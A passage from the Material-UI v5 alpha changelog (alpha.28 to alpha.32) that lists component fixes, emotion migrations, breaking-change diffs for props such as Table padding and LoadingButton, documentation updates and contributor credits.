opened on click (#26016) @eps1lon\n- [pickers] Fix ref types (#26121) @eps1lon\n- [pickers] Rely on native behavior for disabled/readOnly behavior (#26055) @eps1lon\n- [pickers] Remove unused components from mobile and desktop variants (#26066) @eps1lon\n- [pickers] Document readonly/disabled pickers (#26056) @eps1lon\n- [pickers] Remove unused components from static variants (#26052) @eps1lon\n- [pickers] Toggle mobile keyboard view in the same commit as the view changes (#26017) @eps1lon\n- [pickers] Remove redundant aria-hidden (#26014) @eps1lon\n- [pickers] Ensure input value is reset in the same commit as the value (#25972) @eps1lon\n- [internal][pickers] Pass desktop wrapper props explicitly (#26120) @eps1lon\n- [internal][pickers] Move useInterceptProps into module (#26090) @eps1lon\n- [internal][pickers] Explicit default toolbar components (#26075) @eps1lon\n- [internal][pickers] Move validation from config to module (#26074) @eps1lon\n- [internal][pickers] Minimal types for defaultizing in useInterceptProps (#26063) @eps1lon\n- [internal][pickers] Don't validate inputFormat in production (#26053) @eps1lon\n- [internal][pickers] Remove unused styles (#26023) @eps1lon\n- [internal][pickers] Remove `AllSharedPickerProps` and `AllSharedDateRangePickerProps` (#26005) @eps1lon\n\n### Docs\n\n- [docs] Migrate Tabs, Table, Snackbar demos to emotion (#26175) @mnajdova\n- [docs] Fix dynamic global styles (#25690) @mnajdova\n- [docs] Fixed React.forwardRef missing display name ESLint error (#26160) @arpitBhalla\n- [docs] Migrate Tooltip, Steppers demos to emotion (#26165) @mnajdova\n- [docs] Migrate Dialog demos to emotion (#26162) @vicasas\n- [docs] Remove `makeStyles` from landing pages (#26130) @mnajdova\n- [docs] Add new customized switch examples (#26096) @DanielBretzigheimer\n- [docs] Migrate Autocomplete demos (#26127) @mnajdova\n- [docs] Remove `@material-ui/core/styles` from the styles pages (#26126) @mnajdova\n- [docs] Update templates, premium-themes to use `makeStyles` from `@material-ui/styles` (#26131) @mnajdova\n- [docs] Migrate TreeView demos (#26146) @mnajdova\n- [docs] More explicit breakpoint documentation in `sx` (#26140) @eps1lon\n- [docs] Explicitly describe how the media query affects the rendered version (#26129) @eps1lon\n- [docs] Fix 301 link to store (#26095) @oliviertassinari\n- [docs] Normalize name use for state in pickers demo (#26093) @oliviertassinari\n- [docs] Consistent type name in docs (#26077) @jamesaucode\n- [docs] Remove `makeStyles` dependency from core in modules (#26071) @mnajdova\n- [docs] Add links for demo in different deploys (#26065) @eps1lon\n- [docs] Add section for useFormControl (#25927) @t49tran\n- [docs] Add Styled Engine page (#25911) @mnajdova\n- [docs] Migrate Timeline demos to emotion (#26036) @vicasas\n- [docs] Document all the colors available (#26015) @anshuman9999\n- [docs] Avoid extracting classes twice (#25973) @oliviertassinari\n\n### Core\n\n- [test] Add test for behavior when picker variant changes (#26128) @eps1lon\n- [test] testing-library patterns for playwright tests (#25860) @eps1lon\n- [test] Remove scheduler/tracing (#26062) @eps1lon\n- [test] Remove duplicate property (#26011) @eps1lon\n- [core] Link to experimental size-comparison page (#26179) @eps1lon\n- [core] Update typings for theme's components (#26125) @mnajdova\n- [core] Improve `react@experimental` compat (#26116) @eps1lon\n- [core] Remove more dependencies on `@material-ui/styles` (#26100) @mnajdova\n- [core] Batch small changes (#26083) @oliviertassinari\n- [core] ComponentType -> JSXElementConstructor (#26081) @eps1lon\n- [core] Create new @material-ui/private-theming package (#25986) @mnajdova\n\nAll contributors of this release in alphabetical order: @anish-khanna, @anshuman9999, @arpitBhalla, @DanielBretzigheimer, @eps1lon, @hubertokf, @Jack-Works, @jamesaucode, @LiKang6688, @m4theushw, @mnajdova, @mousemke, @oliviertassinari, @simonecervini, @siriwatknp, @t49tran, @vicasas\n\n## 5.0.0-alpha.32\n\n<!-- generated comparing v5.0.0-alpha.31..next -->\n\n_Apr 27, 2021_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 We have completed the migration to emotion of all components in `@material-ui/core`. We will focus on the components in `@material-ui/lab` next.\n- 💥 Make progress with the breaking changes plan. We have done 38 out of 41 breaking changes that can be deprecated. We have done 21 out of the 39 that can't have deprecations. Once done, we will focus on updating the component for better following material design, and to improve the aesthetic.\n- 💄 Support extending the theme for custom color and size values in all components.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.32`\n\n#### Breaking changes\n\n- [Table] Rename padding=\"default\" to padding=\"normal\" (#25924) @m4theushw\n\n  ```diff\n  -<Table padding=\"default\" />\n  -<TableCell padding=\"default\" />\n  +<Table padding=\"normal\" />\n  +<TableCell padding=\"normal\" />\n  ```\n\n- [Button] Rename `pending` prop to `loading` in LoadingButton (#25874) @m4theushw\n\n  ```diff\n  -<LoadingButton pending pendingIndicator=\"Pending…\" pendingPosition=\"end\" />\n  +<LoadingButton loading loadingIndicator=\"Pending…\" loadingPosition=\"end\" />\n  ```\n\n- [ButtonBase] Remove buttonRef prop (#25896) @m4theushw\n\n  ```diff\n  -<ButtonBase buttonRef={ref} />\n  +<ButtonBase ref={ref} />\n  ```\n\n  ```diff\n  -<Button buttonRef={ref} />\n  +<Button ref={ref} />\n  ```\n\n- [Checkbox][switch] Remove checked argument from onChange (#25871) @m4theushw\n\n  ```diff\n   function MyCheckbox() {\n  -  const handleChange = (event: React.ChangeEvent<HTMLInputElement>, checked: boolean) => {\n  +  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n  +    const checked = event.target.checked;\n     };\n     return <Checkbox onChange={handleChange} />;\n   }\n  ```\n\n  ```diff\n   function MySwitch() {\n  -  const handleChange = (event: React.ChangeEvent<HTMLInputElement>, checked: boolean) => {\n  +  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n  +    const checked = event.target.checked;\n     };\n     return <Switch onChange={handleChange} />;\n   }\n  ```\n\n- [theme] Remove theme.breakpoints.width helper (#25918) @m4theushw\n\n  ```diff\n  -theme.breakpoints.width('md')\n  +theme.breakpoints.values.md\n  ```\n\n- [theme] Remove theme.typography.round helper (#25914) @m4theushw\n\n  The `theme.typography.round` helper was removed because it was no longer used. If you need it, use the function below:\n\n  ```js\n  function round(value) {\n    return Math.round(value * 1e5) / 1e5;\n  }\n  ```\n\n#### Changes\n\n- [Container] Fix maxWidth=\"false\" resulting in incorrect css (#25869) @mnajdova\n- [core] Improve support for extended props in theme (#25934) @vicasas\n- [core] Fix various too wide `classes` types (AppBar, Card, Link, LoadingButton, MenuItem) (#25917) @eps1lon\n- [Drawer] Fix classes forwarded to DOM node for docked drawer (#25870) @mnajdova\n- [IconButton] Support custom colors and sizes (#25890) @Vikram710\n- [l10n] Add Bengali (bnBD) locale (#25841) @Knoxo\n- [Rating] Support custom sizes (#25922) @vicasas\n- [Select] Fix classes leaking on the DOM (#25894) @siriwatknp\n- [Stack] Fix support of spacing falsy values (#25937) @simonecervini\n- [Table] Migrate TablePagination to emotion (#25809) @siriwatknp\n- [Tabs] Migrate Tabs to emotion (#25824) @siriwatknp\n- [TextField] Remove utlity class name for margin=\"none\" (#25969) @oliviertassinari\n- [TextField] Make the `position` prop required in InputAdornment (#25891) @m4theushw\n- [theme] Remove fade color helper (#25895) @m4theushw\n\n### `@material-ui/lab@5.0.0-alpha.32`\n\n- [DateTimePicker] `date` is nullable in `onChange` (#25981) @eps1lon\n- [internal][pickers] Remove unused TView type argument (#25936) @eps1lon\n- [internal][pickers] Inline some BasePickerProps usages (#25971) @eps1lon\n- [internal][pickers] Entangle what Props vs AllProps means (#25938) @eps1lon\n- [lab] Update slot components to use overridesResolver (#25906) @mnajdova\n- [Timeline] Remove use of nth-child in favor of nth-of-type (#25915) @wellwellmissesanderson\n- [Timeline] Migrate Timeline to emotion (#25838) @siriwatknp\n- [TreeView] Migrate TreeItem to emotion (#25835) @siriwatknp\n\n### `@material-ui/styled-engine@5.0.0-alpha.32`\n\n- [styled-engine] Skip variants resolver for non root slots by default (#25865) @mnajdova\n\n### `@material-ui/system@5.0.0-alpha.32`\n\n- [system] Add missing `main` entry for styleFunctionSx (#25885) @eps1lon\n\n### `@material-ui/types@6.0.0`\n\nThis package is just re-released since version 5.1.7 had a breaking change.\n\n### Docs\n\n- [Autocomplete] Fix tagSize class typo (#25908) @JanMisker\n- [DataGrid] Update docs sections (#25980) @dtassone\n- [docs] Batch small fixes (#25807) @m4theushw\n- [docs] Explicitly list demos of unstyled components (#25900) @eps1lon\n- [docs] Expose heading links in a11y tree (#25861) @eps1lon\n- [docs] Fix minor typo (#26001) @onpaws\n- [docs] Fix global styles leaking on different pages (#25855) @mnajdova\n- [docs] Fix Typography api docs for `paragraph` prop (#25929) @DanailH\n- [docs] Fix Slider's classes wrong description (#25907) @mnajdova\n- [docs] Grammar correction in autocomplete API (#25910) @gruber76\n- [docs] Require documentation of demos (#25811) @eps1lon\n- [docs] Update minimum required TypeScript version (#25930) @eps1lon\n- [Table] Improve description of TablePagination.rowsPerPageOptions (#25982) @kevinlul\n\n### Core\n\n- [core] Fix wrong imports to '@material-ui/styles' (#25984) @mnajdova\n- [core] Ensure props spreading works as expected (#25939) @oliviertassinari\n- [core] Batch small changes (#25968) @oliviertassinari\n- [core] Enable trailing comma in TypeScript files (#25931) @eps1lon\n- [core] Remove @typescript-to-proptypes-generate handlers (#25909) @eps1lon\n- [core] Update slots components to enable flatten specificity for overrides (#25853, #25864, #25881, #25884, #25887, #25904, #25892) @mnajdova\n- [test] Add current behavior of inverleaving elements on mousedown (#25903) @eps1lon\n- [test] Add test validator to improve DX (#25854) @siriwatknp\n- [test] Fix duplicate key in TreeItem test (#26000) @mnajdova\n\nAll contributors of this release in alphabetical order: @DanailH, @dtassone, @eps1lon, @gruber76, @JanMisker, @kevinlul, @Knoxo, @m4theushw, @mnajdova, @oliviertassinari, @simonecervini, @siriwatknp, @vicasas, @Vikram710, @wellwellmissesanderson\n\n## 5.0.0-alpha.31\n\n<!-- generated comparing v5.0.0-alpha.30..next -->\n\n_Apr 20, 2021_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Migrate 4 components to emotion.\n- 💥 Resume work on the breaking changes, aim for v5.0.0-beta.0 in the next coming months.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.31`\n\n#### Breaking changes\n\n- [FormControl] Change default variant from standard to outlined (#24895) @petyosi\n  Standard has been removed from the Material Design guidelines. [This codemod](https://github.com/mui/material-ui/tree/next/packages/mui-codemod#variant-prop) will automatically update your code.\n\n  ```diff\n  -<FormControl value=\"Standard\" />\n  -<FormControl value=\"Outlined\" variant=\"outlined\" />\n  +<FormControl value=\"Standard\" variant=\"standard\" />\n  +<FormControl value=\"Outlined\" />\n  ```\n\n- [Menu] The `selectedMenu` variant will not vertically align the selected item with the anchor anymore. (#25691) @m4theushw\n- [Popover] Remove the `getContentAnchorEl` prop to simplify the positioning logic. (#25691) @m4theushw\n- [Select] Change default variant from standard to outlined (#24895) @petyosi\n  Standard has been removed from the Material Design guidelines. [This codemod](https://github.com/mui/material-ui/tree/next/packages/mui-codemod#variant-prop) will automatically update your code.\n\n  ```diff\n  -<Select value=\"Standard\" />\n  -<Select value=\"Outlined\" variant=\"outlined\" />\n  +<Select value=\"Standard\" variant=\"standard\" />\n  +<Select value=\"Outlined\" />\n  ```\n\n#### Changes\n\n- [Alert] Fix action to be aligned with the text (#25768) @mnajdova\n- [Avatar] Fix onload event not firing when img cached (#25793) @npandrei\n- [Box] Add utility mui class (#25802) @mnajdova\n- [core] Don't call noop event.persist() (#25782) @eps1lon\n- [Dialog] Fix support of custom breakpoint units (#25788) @Vikram710\n- [List] Fix support for list item container style overrides (#25777) @mnajdova\n- [Rating] Allow clearing ratings with arrow keys (#25645) @Vikram710\n- [Rating] Fix focus visible regression (#25698) @oliviertassinari\n- [Select] Fix specificity of style overrides (#25766) @robphoenix\n- [Select] Fix className overwritten (#25815) @siriwatknp\n- [Select] Fix overrides for slots (#25796) @mnajdova\n- [Snackbar] Fix hidden overlay blocking interactions regression (#25739) @MieleVL\n- [TextField] Fix InputAdornment classes (#25749) @mnajdova\n- [theme] Avoid mutating args in createSpacing (#25745) @eps1lon\n\n### `@material-ui/lab@5.0.0-alpha.31`\n\n#### Breaking changes\n\n- [Pickers] Rename DayPicker to CalendarPicker (#25810) @eps1lon\n\n  ```diff\n  -import DayPicker from '@material-ui/lab/DayPicker';\n  +import CalendarPicker from '@material-ui/lab/CalendarPicker';\n\n   createMuiTheme({\n     components: {\n  -    MuiDayPicker: {},\n  +    MuiCalendarPicker: {},\n     }\n   })\n  ```\n\n- [Pickers] Rename PickersCalendarSkeleton to CalendarPickerSkeleton (#25679) @eps1lon\n\n  ```diff\n  -import PickersCalendarSkeleton from '@material-ui/lab/PickersCalendarSkeleton';\n  +import CalendarPickerSkeleton from '@material-ui/lab/CalendarPickerSkeleton';\n  ```\n\n- [Pickers] Rename `date` `view` to `day` (#25685) @eps1lon\n\n  ```diff\n  -<DatePicker openTo=\"date\" views={['date', 'month']} />\n  +<DatePicker openTo=\"day\" views={['day', 'month']} />\n  ```\n\n#### Changes\n\n- [DateRangePicker] Add DateRangePickerDay to theme augmentation list (#25758) @ifndefdeadmau5\n- [Pickers] Rename internal DayPickerView to CalendarPickerView (#25817) @eps1lon\n- [Pickers] Remove `TView` generic in CalendarPicker (#25818) @eps1lon\n- [Pickers] Use passive effect to attach close-on-escape listener (#25819) @eps1lon\n- [Timeline] Migrate TimelineDot to emotion (#25830) @vicasas\n- [Timeline] Migrate TimelineContent to emotion (#25781) @siriwatknp\n- [Timeline] Migrate TimelineItem to emotion (#25822) @vicasas\n- [Timeline] Migrate TimelineOppositeContent to emotion (#25816) @vicasas\n- [FocusTrap] Make isEnabled and getDoc optional (#25784) @m4theushw\n\n### `@material-ui/styled-engine@5.0.0-alpha.31`\n\n- [styled-engine] Fix shouldForwardProp on slots (#25780) @mnajdova\n- [styled-engine] Improve GlobalStyles props (#25751) @mnajdova\n\n### `@material-ui/unstyled@5.0.0-alpha.31`\n\n- [unstyled] Convert generateUtilityClass(es) to TypeScript (#25753) @eps1lon\n\n### Docs\n\n- [Avatar] Set backgroundColor from string (#25789) @Vikram710\n- [docs] Add demos for public picker components (#25812) @eps1lon\n- [docs] Add example with switch dark/light mode (#25823) @Vikram710\n- [docs] Add package headings to 5.0.0-alpha.30 changelog (#25733) @eps1lon\n- [docs] Add unstyled section to all components coming with the package (#25843) @mnajdova\n- [docs] Breakdown Chip demos into smaller ones (#25750) @vicasas\n- [docs] Document circular progress inherit (#25736) @oliviertassinari\n- [docs] Fix /production-error crash (#25839) @eps1lon\n- [docs] Fix ad duplication (#25831) @oliviertassinari\n- [docs] Fix autocommplete disable event value (#25752) @oliviertassinari\n- [docs] Fix inline-preview selection controls (#25834) @oliviertassinari\n- [docs] Fix Horizontally centered demo (#25787) @viditrv123\n- [docs] Improve pickers migration docs from v3 (#25813) @ahmed-28\n- [docs] Move DataGrid editing nav link (#25769) @dtassone\n- [docs] Replace Typography color values with system values (#25805) @oliviertassinari\n- [docs] Remove one inline-style (#25671) @oliviertassinari\n- [docs] Use gender neutral pronoun for Swipeable Drawer (#25775) @catchanuj\n- [examples] Add TypeScript for styled-components engine (#25675) @jqrun\n- [l10n] zhTW refinement (#25786) @shakatoday\n- [Tabs] Add demo for routing with Tabs (#25827) @ahmed-28\n\n### Core\n\n- [core] Batch small changes (#25804) @oliviertassinari\n- [core] Document token permissions of release:changelog (#25732) @eps1lon\n- [core] Error when installing in unsupported node environments (#25795) @eps1lon\n- [core] Fix rgba to hex conversion (#25825) @saeedeyvazy\n- [core] Normalize usage of pseudo classes selectors (#25748) @mnajdova\n- [core] Remove unused public types (#25833) @oliviertassinari\n- [core] Remove incorrect overridesResolver usages (#25778) @mnajdova\n- [test] Use public imports (#25686) @vicasas\n- [core] Use readonly arrays where possible (#25746) @eps1lon\n\nAll contributors of this release in alphabetical order: @ahmed-28, @catchanuj, @dtassone, @eps1lon, @ifndefdeadmau5, @jqrun, @m4theushw, @MieleVL, @mnajdova, @npandrei, @oliviertassinari, @petyosi, @robphoenix, @saeedeyvazy, @shakatoday, @siriwatknp, @vicasas, @viditrv123, @Vikram710\n\n## 5.0.0-alpha.30\n\n<!-- generated comparing v5.0.0-alpha.29..next -->\n\n_Apr 12, 2021_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Migrate 9 components to emotion.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.30`\n\n- [Alert] Vertically align action on top (#25654) @xdshivani\n- [Autocomplete] Fix text field standard visual regression (#25676) @oliviertassinari\n- [CssBaseline] Fix @font-face rule broken in styleOverrides (#25583) @mnajdova\n- [Grid] Support custom number of columns (#25636) @Avi98\n- [InputBase] Fix autofill typo (#25651) @michal-perlakowski\n- [LinearProgress] Add color=\"inherit\" support (#25641) @itscharlieliu\n- [Pagination] Allow to differentiate more item types (#25622) @ruppysuppy\n- [Popover] Add popoverClasses export to type declarations (#25695) @tomasznguyen\n- [Rating] Add highlight selected rating only (#25649) @Vikram710\n- [Rating] Migrate to emotion (#25588) @natac13\n- [Select] Migrate to emotion (#25653) @mnajdova\n- [Select] Migrate NativeSelect to emotion (#24698) @duganbrett\n- [SpeedDial] Fix broken aria reference issue (#25665) @RiyaNegi\n- [Stepper] Migrate MobileStepper to emotion (#25589) @natac13\n- [styles] Outdated warning message (#25637) @bhairavee23\n- [Table] Remove legacy fix for JSS (#25692) @oliviertassinari\n- [Table] Migrate TableSortLabel to emotion (#25638) @natac13\n- [TabPanel] Migrate to emotion (#25646) @tomasznguyen\n- [TextareaAutosize] Fix resizing bug on Firefox (#25634) @bhairavee23\n- [TextField] Add textFieldClasses export to type declarations (#25696) @tomasznguyen\n- [theme] Change default bgColor to white in light mode (#25730) @saleebm\n- [ToggleButton] Add fullWidth prop (#25585) @hcz\n- [typescript] Add muiName to declarations (#25689) @michal-perlakowski\n\n### `@material-ui/lab@5.0.0-alpha.30`\n\n- [Timeline] Migrate TimelineSeparator to emotion (#25666) @vicasas\n- [Timeline] Migrate TimelineConnector to emotion (#25663) @vicasas\n- [TimePicker] Use clock icon when editing in mobile mode (#25569) @alcwhite\n- [TreeView] Migrate to emotion (#25673) @tomasznguyen\n\n### Docs\n\n- [blog] Fix typos @oliviertassinari\n- [docs] Migrate TextField demos to emotion (#25626) @vicasas\n- [docs] Bump stylis-plugin-rtl requirement (#25661) @mnajdova\n- [docs] Ensure old api-docs translations are cleaned (#25680) @eps1lon\n- [docs] Fix typo in v4 migration doc (#25678) @thameera\n- [docs] Fix useLayoutEffect warning (#25670) @oliviertassinari\n- [docs] Fix a11y issue in the SpeedDial docs (#25669) @RiyaNegi\n- [docs] Cover TypeScript commands in codemod readme (#25640) @StuffByLiang\n- [docs] Migrate Popover demos to emotion (#25620) @vicasas\n- [docs] Fix typo in switches and checkboxes doc (#25639) @dimitropoulos\n- [docs] Add interoperability section for Portal (#25575) @mnajdova\n- [docs] Fix side nav scroll position (#25619) @misaka3\n\n### Core\n\n- [test] Use public api in lab (#25682) @vicasas\n- [test] Test types of .spec lab files (#25684) @eps1lon\n- [core] Fix build step for unstyled package (#25672) @oliviertassinari\n- [core] Ensure react-is uses v17 (#25668) @eps1lon\n\nAll contributors of this release in alphabetical order: @alcwhite, @bhairavee23, @dimitropoulos, @duganbrett, @eps1lon, @hcz, @itscharlieliu, @michal-perlakowski, @misaka3, @mnajdova, @natac13, @oliviertassinari, @RiyaNegi, @ruppysuppy, @saleebm, @StuffByLiang, @thameera, @tomasznguyen, @vicasas, @Vikram710, @xdshivani\n\n## 5.0.0-alpha.29\n\n<!-- generated comparing v5.0.0-alpha.28..next -->\n\n_Apr 4, 2021_\n\nA big thanks to the 26 contributors who made this release possible. Here are some highlights ✨:\n\n- 🙌 Add support in the Grid for any spacing value (#25503) @ZakMiller.\n  For instance:\n\n  ```jsx\n  <Grid container spacing={1.5}>\n  <Grid container spacing=\"30px\">\n  ```\n\n  This feature was made possible by the recent migration to emotion.\n  You can [find the other issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aissue+label%3A%22component%3A+Grid%22) unlocked by the migration to emotion on the Grid component that are left to be solved.\n\n- 👩‍🎤 Convert 3 components to emotion (#25541, #25516, #25521) @rajzik, @praveenkumar-kalidass, @siriwatknp.\n- 📚 Migrate 8 component demo pages to the `sx`, `Stack`, and `styled` API @vicasas.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.29`\n\n- [AppBar] Fix type support of overridable component (#25456) @heleg\n- [Autocomplete] Fix Async demo in docs (#25536) @kanish671\n- [Autocomplete] Fix TypeScript wrapper example (#25530) @JanKaczmarkiewicz\n- [Backdrop] Remove z-index: -1 (#25524) @silver-snoopy\n- [Card] Add component prop support (#25537) @silver-snoopy\n- [CssBaseline] Migrate ScopedCssBaseline to emotion (#25541) @rajzik\n- [Divider] Support middle variant with vertical orientation (#25428) @vedadeepta\n- [Grid] Support decimal spacing (#25503) @ZakMiller\n- [List] Remove background inheritance of ListSubheader (#25532) @tanmoyopenroot\n- [Paper] Support dark mode brightening based on elevation (#25522) @m4theushw\n- [Select] Fix selection of non-options (#25567) @oliviertassinari\n- [Select] Set aria-expanded to false when listbox is collapsed (#25545) @Harish-Karthick\n- [SpeedDial] Call focus on escape (#25509) @tanmoyopenroot\n- [Stack] Add component prop (#25526) @silver-snoopy\n- [Stack] Fix the :not selector (#25484) @Andarist\n- [Stepper] Migrate StepButton to emotion (#25516) @praveenkumar-kalidass\n- [Stepper] Migrate Stepper to emotion (#25521) @siriwatknp\n- [Tabs] Don't animate scroll on first render (#25469) @manziEric\n- [Tooltip] Fix forwarded classes (#25535) @silver-snoopy\n\n### `@material-ui/unstyled@5.0.0-alpha.29`\n\n- [Slider] Allow disabling the left and right thumbs swap (#25547) @michal-perlakowski\n\n### `@material-ui/lab@5.0.0-alpha.29`\n\n- [DateRangePicker] Fix props naming in DatePicker components (#25504) @callmeberzerker\n- [DateRangePickerInput][internal] Inline makeDateRangePicker calls (#25470) @eps1lon\n- [StaticDateRangePicker] Fix inconsistent name for theme props (#25483) @eps1lon\n- [Pickers] Move own internals from lab internals to dedicated file (#25498) @eps1lon\n\n### Docs\n\n- [docs] Provide an alternative to right-to-left (#25584) @dariusk\n- [docs] Add note for TypeScript on the styled() customization guide (#25576) @mnajdova\n- [docs] Replace incorrect instances of defined with define (#25572) @surajpoddar16\n- [docs] Fix spelling error in roadmap.md file (#25570) @Brlaney\n- [docs] Migrate Card demos to emotion (#25557) @vicasas\n- [docs] Fix typo in data grid (#25561) @michael-001\n- [docs] Migrate Menu demos to emotion (#25554) @vicasas\n- [docs] Fix <kbd> style in dark mode (#25551) @m4theushw\n- [docs] Document changing skeleton color (#25542) @ZakMiller\n- [docs] Improve coverage of TypeScript theme augmentation (#25489) @ashishshuklabs\n- [docs] Update minimizing-bundle-size.md (#25534) @nguyenyou\n- [docs] Migrate Portal demos to emotion (#25505) @vicasas\n- [docs] Migrate NoSSR demos to emotion (#25506) @vicasas\n- [docs] Migrate ClickAwayListener demos to emotion (#25507) @vicasas\n- [docs] Cover change of React support (#25487) @oliviertassinari\n- [docs] Migrate Transitions demos to emotion (#25488) @vicasas\n- [docs] Fix Stack divider demo (#25491) @oliviertassinari\n- [docs] Migrate Icons demos to emotion (#25412) @vicasas\n\n### Core\n\n- [core] Use latest TypeScript in typescript-to-proptypes (#25512) @eps1lon\n- [core] Update the codesandbox issue templates (#25501) @oliviertassinari\n- [test] Wait on e2e server to start before starting runner (#25476) @eps1lon\n\nAll contributors of this release in alphabetical order: @Andarist, @ashishshuklabs, @Brlaney, @callmeberzerker, @dariusk, @eps1lon, @Harish-Karthick, @heleg, @JanKaczmarkiewicz, @kanish671, @m4theushw, @manziEric, @michael-001, @michal-perlakowski, @mnajdova, @nguyenyou, @oliviertassinari, @praveenkumar-kalidass, @rajzik, @silver-snoopy, @siriwatknp, @surajpoddar16, @tanmoyopenroot, @vedadeepta, @vicasas, @ZakMiller\n\n## 5.0.0-alpha.28\n\n_Mar 22, 2021_\n\nA big thanks to the 34 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Convert 9 components to emotion (#25267, #25216, #25264, #25197, #25372, #25281, #25210, #25279, #2528) @natac13 @tomasznguyen @kayuapi.\n  85% of the components have been migrated so far, thanks to the help of the community.\n- 📚 Migrate 18 component demo pages to the `sx`, `Stack`, and `styled` API @vicasas.\n  This was also an importunity to breakdown the existing large demos into smaller and more focuses ones.\n- Add a new Stack component (#25149) @souporserious\n  The component allows to workaround the lack of support for the CSS flexbox `gap` property across browsers.\n\n  <img width=\"830\" alt=\"stack\" src=\"https://user-images.githubusercontent.com/3165635/112068427-29434200-8b6a-11eb-94e8-057535423b0f.png\">\n\n  See the documentation for [more details](https://mui.com/components/stack/).\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.28`\n\n#### Breaking changes\n\n- [core] Drop support for React 16 (#25464) @eps1lon\n- [core] Drop support for node 10 (#25306) @eps1lon\n\n#### Changes\n\n- [Autocomplete] Warn when the input didn't resolve in time (#25311) @LaneRamp\n- [Autocomplete] Fix styleOverrides support (#25276) @manziEric\n- [ButtonBase] Allow to customize the link component via theme (#25331) @vedadeepta\n- [ButtonBase] Fix default type attribute (submit -> button) (#25323) @RTEYL\n- [ButtonGroup] Support custom colors (#25413) @oliviertassinari\n- [CircularProgress] Fix animation when disableShrink={true} (#25247) @duongdev\n- [Dialog] Fix typo (#25287) @aheimlich\n- [Dialog] Migrate DialogContentText to emotion (#25267) @tomasznguyen\n- [Dialog] Migrate Dialog to emotion (#25216) @natac13\n- [Drawer] Fix RTL support (#25453) @silver-snoopy\n- [Menu] Migrate to emotion (#25264) @tomasz-crozzroads\n- [Paper] Fix component prop type error (#25426) @heleg\n- [Popover] Migrate to emotion (#25197) @tomasznguyen\n- [Radio] Fix html structure (#25398) @oliviertassinari\n- [Select] Fix focus background when variant=\"outlined\" (#25393) @christiaan\n- [Slider] Add `tabIndex` prop (#25388) @johnloven\n- [Snackbar] Fix prop type error for 'key' prop (#25431) @jansedlon\n- [SpeedDial] Reset tooltip state when the speed dial is closed (#25259) @m4theushw\n- [Stack] Add new component (#25149) @souporserious\n- [Stepper] Migrate StepLabel to emotion (#25372) @praveenkumar-kalidass\n- [Stepper] Migrate StepIcon to emotion (#25281) @praveenkumar-kalidass\n- [Stepper] Migrate StepContent to emotion (#25210) @praveenkumar-kalidass\n- [SwipeableDrawer] Fix hideBackDrop support (#25275) @manziEric\n- [Table] Fix duplicated keys in TablePagination rows per page (#25309) @martinfrancois\n- [Table] Consistency with DataTable (#25414) @oliviertassinari\n- [TextField] Size small for multiline (#25423) @julihereu\n- [TextField] Migrate InputAdornment to emotion (#25279) @kayuapi\n- [TextField] Migrate to emotion (#25286) @tomasznguyen\n- [ToggleButton] Add color prop (#25390) @AlfredoGJ\n- [Tooltip] Make `disableFocusListener` prop comment clearer (#25455) @jansedlon\n- [Tooltip] Fix placement regression (#25255) @oliviertassinari\n- [Transition] Add easing prop to override default timing function (#25245) @jeferson-sb\n\n### `@material-ui/lab@5.0.0-alpha.28`\n\n- [Pickers] Follow \"private by default\" in makeDateRangePicker (#25424) @eps1lon\n- [Pickers] Simplify internals of \\*Wrapper components (#25369) @eps1lon\n- [Pickers] Remove `make*` HOCs (#25172) @eps1lon\n- [Pickers] Remove propTypes in production for exotic components (#25261) @eps1lon\n- [Pickers] Unify ref behavior (#25425) @eps1lon\n- [Pickers] Sort properties (#25473) @eps1lon\n\n### `@material-ui/utils@5.0.0-alpha.28`\n\n- [utils] Fix useForkRef typings rejecting nullish (#25468) @eps1lon\n- [utils] Allow functional updates in TypeScript declaration of useControlled (#25378) @MikhailTSE\n- [utils] Add a new integer propType (#25224) @fayzzzm\n\n### Docs\n\n- [docs] Fix typo in migration-v4.md (#25384) @Tollwood\n- [docs] Use defaultCodeOpen where appropriate (#25418) @eps1lon\n- [docs] Support RTL with styled components (#25457) @silver-snoopy\n- [docs] Improve the docs of the Grid component (#25429) @oliviertassinari\n- [docs] Migrate Switch demos to emotion (#25366) @vicasas\n- [docs] Use Stack in demos (#25419) @vicasas\n- [docs] Migrate Checkbox demos to emotion (#25394) @vicasas\n- [docs] Migrate Radio demos to emotion (#25396) @vicasas\n- [docs] Update icon link to fonts.google.com (#25410) @BGehrels\n- [docs] Migrate Avatar demos to emotion (#25375) @vicasas\n- [docs] Fix multiline textfields docs to use minRows/maxRows (#25383) @saleebm\n- [docs] Consolidate environment variables into next.config (#25386) @eps1lon\n- [docs] Use `env` next config over DefinePlugin (#25373) @eps1lon\n- [docs] Migrate SpeedDial to emotion (#25367) @vicasas\n- [docs] Refine the used prop-type to discriminate number from integer (#25334) @fayzzzm\n- [docs] Migrate AppBar demos to emotion (#25335) @m4theushw\n- [docs] Migrate Grid demos to emotion (#25332) @vicasas\n- [docs] Migrate Toggle Button demos to emotion (#25333) @vicasas\n- [docs] Migrate Links demos to emotion (#25303) @vicasas\n- [docs] Migrate Breadcrumbs demos to emotion (#25302) @vicasas\n- [docs] Migrate Image List demos to emotion (#25301) @vicasas\n- [docs] Bring clarity about the IE 11 support policy: it's partial (#25262) @oliviertassinari\n- [docs] Add the new demo page for the data grid (#25284) @DanailH\n- [docs] Migrate List demos to emotion (#25266) @vicasas\n- [docs] Migrate Chip demos to emotion (#25268) @vicasas\n- [docs] Add missing props to \\*DatePicker API (#25254) @eps1lon\n- [docs] Improve accessibility of the basic menu demo (#25207) @ee0pdt\n- [docs] Migrate Fab demos to emotion (#25251) @vicasas\n- [docs] Migrate Rating demos to emotion (#25252) @vicasas\n- [docs] 